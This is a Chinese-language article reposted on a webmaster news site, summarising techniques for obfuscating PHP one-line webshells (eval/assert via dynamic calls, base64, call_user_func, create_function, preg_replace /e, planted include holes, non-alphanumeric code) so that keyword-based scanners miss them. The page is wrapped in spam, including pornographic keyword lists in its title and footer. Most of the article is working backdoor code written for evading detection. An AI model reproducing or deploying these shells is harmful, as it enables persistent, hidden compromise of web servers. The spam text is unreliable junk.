精品免费在线观看-精品欧美-精品欧美成人bd高清在线观看-精品欧美高清不卡在线-精品欧美日韩一区二区

17站長網(wǎng)

17站長網(wǎng) 首頁 安全 腳本攻防 查看內(nèi)容

PHP一句話Webshell變形總結(jié)

2022-9-27 08:48| 查看: 2156 |來源: 互聯(lián)網(wǎng)

0×00 前言 大部分Webshell查殺工具都是基于關(guān)鍵字特征的,通常他們會維護(hù)一個(gè)關(guān)鍵字列表,以此遍歷指定擴(kuò)展名的文件來進(jìn)行掃描,所以可能最先想到的是各種字符串變形,下面總結(jié)了一些小的方法,各種不足之前還請看官拍磚

0×00 前言

大部分Webshell查殺工具都是基于關(guān)鍵字特征的,通常他們會維護(hù)一個(gè)關(guān)鍵字列表,以此遍歷指定擴(kuò)展名的文件來進(jìn)行掃描,所以可能最先想到的是各種字符串變形,下面總結(jié)了一些小的方法,各種不足之前還請看官拍磚.

0×01 字符串上的舞蹈

一般標(biāo)準(zhǔn)的一句話Webshell是利用PHP的eval函數(shù),動態(tài)執(zhí)行其他函數(shù)功能.其標(biāo)準(zhǔn)的形式如下:

@eval ($_POST[xxxxx]);
很明顯的eval會成為靜態(tài)特征碼Webshell掃描工具的關(guān)鍵字.加上一點(diǎn)小技巧,我們讓其動態(tài)傳入,或者利用base64等編碼函數(shù)來進(jìn)行繞過

@$_GET[a]($_POST[xxxxx]);or

@base64_decode(base64編碼過的eval)
當(dāng)然,掃一眼PHP手冊,玩轉(zhuǎn)字符串的函數(shù)遠(yuǎn)不止這些,你可以寫一個(gè)自定義加解密的函數(shù),或者利用xor,字符串反轉(zhuǎn),壓縮,截?cái)嘀亟M等方法來繞過.
另外大多數(shù)Webshell的查殺工具很少把a(bǔ)ssert函數(shù)加入到關(guān)鍵字列表中,不過隨著使用的人越來越多也不是絕對的,我們也可以用assert替換eval來執(zhí)行猥瑣的功能.
以前在ASP一句話Webshell的變形過程中,打亂和拆分文件也是非常常用的功能,這里也記一筆.用require,include等將字符串拆分再重組.或者將加密好的字符串單獨(dú)放在任意擴(kuò)展名文件中,利用解密函數(shù)讀取文件來執(zhí)行,這里寫一個(gè)base64比較簡單的例子
file_put_contents(base64_decode(filepath+filename),base64_decode(EvilC0de));
字符串的各種猥瑣還是很多的,最致命的地方是,如果有基于語義分析的查殺工具露面(我印象中是有的)這些都完蛋 –__-!

0×02 利用PHP函數(shù)的一些特性

這一小段其實(shí)還是建立在玩轉(zhuǎn)了字符串的基礎(chǔ)上的,一個(gè)小例子
if(key($_GET)=='xxxxxx')call_user_func($_GET[xxx],$_POST[evil]);好吧,我承認(rèn)這有點(diǎn)換湯不換藥,這種類型的就是遇到WAF都掛b,因?yàn)榛旧隙际腔趧討B(tài)傳入?yún)?shù)的,然后利用PHP函數(shù)換了個(gè)形式執(zhí)行而已,最終還是調(diào)用eval,下面是一個(gè)小小的延伸
$x=create_function('',$_GET[x]); $x();再掃一眼PHP手冊,我們在《高級PHP漏洞審計(jì)》讀到過還有其他一些帶有執(zhí)行功能的函數(shù),比如經(jīng)常用的preg_replace加/e參數(shù)的黃金組合,這類一句話Webshell也算是比較常見的了.總結(jié)起來他們可以算作是人為的構(gòu)造一些PHP代碼上的漏洞.比如
$f=$_GET[x];include($f);這樣構(gòu)造一個(gè)包含漏洞出來,或者
$s= copy,movefile ; //…. etc$s(參數(shù)調(diào)用)比如copy($_FILES[t][src],$_FILES[t][dst]);利用一些文件操作函數(shù)來猥瑣一些小動作,再或者來個(gè)preg_replace執(zhí)行漏洞的經(jīng)典例子
$t= prege_replace;$t("/[xxx]/e",$_POST[x],"Hah!~");這一方面能發(fā)散的地方還有很多,還是得多瞅瞅PHP手冊,因?yàn)镻HP的相關(guān)函數(shù)真是太猥瑣了.

0×03 利用PHP的一些魔法特性

不知道能不能把PHP的多態(tài)性叫做魔法特性,錯(cuò)誤之處還請指出.看過Ryat和Qz牛的文章后會更好理解,老外給過一個(gè)經(jīng)典的例子

($_=@$_GET[2]).@$_($_POST[1]);and

$_="";$_[+""]='';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");or
${'_'.$_}['_'](${'_'.$_}['__']);當(dāng)然我們實(shí)際不會這么去寫,因?yàn)楣芾韱T瞅一眼就明白你是要做壞事了.這其中也結(jié)合了移位運(yùn)算等,算是寫得很花哨了 – -~
經(jīng)常用MVC之類的框架搞開發(fā),都能發(fā)現(xiàn)__autoload函數(shù)的好處,自己文件名去new一個(gè)類,然后在類中你可以在構(gòu)造函數(shù)做點(diǎn)手腳什么的,而這一類函數(shù)在PHP中也是有不少的,我們可以猥瑣一下加以利用.
另外常見的ob_start等利用PHP函數(shù)的回調(diào)特性也是有的,其實(shí)覺得應(yīng)該把這個(gè)分類放到上一小節(jié),之前和wulin牛也討論過這種方式加密過的馬的解密,不過現(xiàn)在大多數(shù)Webshell查殺工具都應(yīng)該把它加到關(guān)鍵字了吧.

0×04 未完結(jié)

我一直相信還有更加猥瑣的方式等等,攻防對立,也可以參考 核攻擊
大牛在其lcx.cc上發(fā)布的討論怎么從一萬多個(gè)文件中快速定位Webshell來見招拆招.引用黑防之前一句很裝13的話作為結(jié)語:在攻與防的對立中尋求統(tǒng)一.歡迎更多同學(xué)加入討論~ 

本文最后更新于 2022-9-27 08:48,某些文章具有時(shí)效性,若有錯(cuò)誤或已失效,請?jiān)诰W(wǎng)站留言或聯(lián)系站長:17tui@17tui.com
·END·
站長網(wǎng)微信號:w17tui,關(guān)注站長、創(chuàng)業(yè)、關(guān)注互聯(lián)網(wǎng)人 - 互聯(lián)網(wǎng)創(chuàng)業(yè)者營銷服務(wù)中心

免責(zé)聲明:本站部分文章和圖片均來自用戶投稿和網(wǎng)絡(luò)收集,旨在傳播知識,文章和圖片版權(quán)歸原作者及原出處所有,僅供學(xué)習(xí)與參考,請勿用于商業(yè)用途,如果損害了您的權(quán)利,請聯(lián)系我們及時(shí)修正或刪除。謝謝!

17站長網(wǎng)微信二維碼

始終以前瞻性的眼光聚焦站長、創(chuàng)業(yè)、互聯(lián)網(wǎng)等領(lǐng)域,為您提供最新最全的互聯(lián)網(wǎng)資訊,幫助站長轉(zhuǎn)型升級,為互聯(lián)網(wǎng)創(chuàng)業(yè)者提供更加優(yōu)質(zhì)的創(chuàng)業(yè)信息和品牌營銷服務(wù),與站長一起進(jìn)步!讓互聯(lián)網(wǎng)創(chuàng)業(yè)者不再孤獨(dú)!

掃一掃,關(guān)注站長網(wǎng)微信

大家都在看

    熱門排行

      最近更新

        返回頂部
        主站蜘蛛池模板: 久久久久久久国产精品毛片 | 国产经典自拍 | 国产女人精品性视频 | 一级毛片免费视频网站 | 久久精品国产99国产精品亚洲 | 欧洲美女乱之伦 | 在线免费视频a | 国产精品不卡视频 | 黄色一级生活片 | 成人毛片免费 | 妖精视频在线播放 | 亚洲女同视频 | 国产一区二区不卡视频 | 久久久久青草大香线综合精品 | 国产精品二区高清在线 | 日韩中出 | 欧美成人综合 | 亚洲啊啊啊啊啊 | 免费在线观看一级毛片 | 欧美a级片免费观看 | 国内免费在线视频 | 日韩欧美在线一区二区三区 | 国产高清在线精品免费不卡 | 成人影院在线观看kkk4444 | 全免费a级毛片免费毛视频 全免费a级毛片免费看 | 欧美精品成人一区二区视频一 | 久久成人小视频 | www国产永久免费视频看看 | 在线看片黄 | 国产区一区二 | 国产精品第1页 | 国产欧美在线观看一区 | 激情亚洲色图 | 桃花综合| 欧美视频一区二区在线观看 | 国产下药迷倒白嫩美女网站 | 成人18免费网 | 亚洲精品毛片久久久久久久 | 中文字幕一区在线观看 | 欧美在线一级毛片视频 | 免费的日本一级淫篇小说 |